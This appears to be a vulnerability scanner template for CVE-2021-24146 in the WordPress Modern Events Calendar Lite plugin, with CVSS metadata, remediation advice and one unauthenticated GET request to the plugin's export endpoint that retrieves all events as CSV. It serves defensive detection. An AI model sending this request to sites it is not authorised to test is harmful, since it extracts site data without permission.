WordPress Modern Events Calendar Lite <5.16.5 - Sensitive Information Disclosure

id: CVE-2021-24146

info:
  name: WordPress Modern Events Calendar Lite <5.16.5 - Sensitive Information Disclosure
  author: random_robbie
  severity: high
  description: WordPress Modern Events Calendar Lite before 5.16.5 does not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or database contents.
  remediation: |
    Update to the latest version of the Modern Events Calendar Lite plugin (5.16.5 or higher) to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c7b1ebd6-3050-4725-9c87-0ea525f8fecc
    - http://packetstormsecurity.com/files/163345/WordPress-Modern-Events-Calendar-5.16.2-Information-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24146
    - https://github.com/Hacker5preme/Exploits
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24146
    cwe-id: CWE-862,CWE-284
    epss-score: 0.31043
    epss-percentile: 0.98082
    cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: webnus
    product: modern_events_calendar_lite
    framework: wordpress
  tags: cve,cve2021,wpscan,packetstorm,wordpress,wp-plugin,webnus,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "mec-events"
          - "text/csv"
        condition: and

      - type: status
        status:
          - 200
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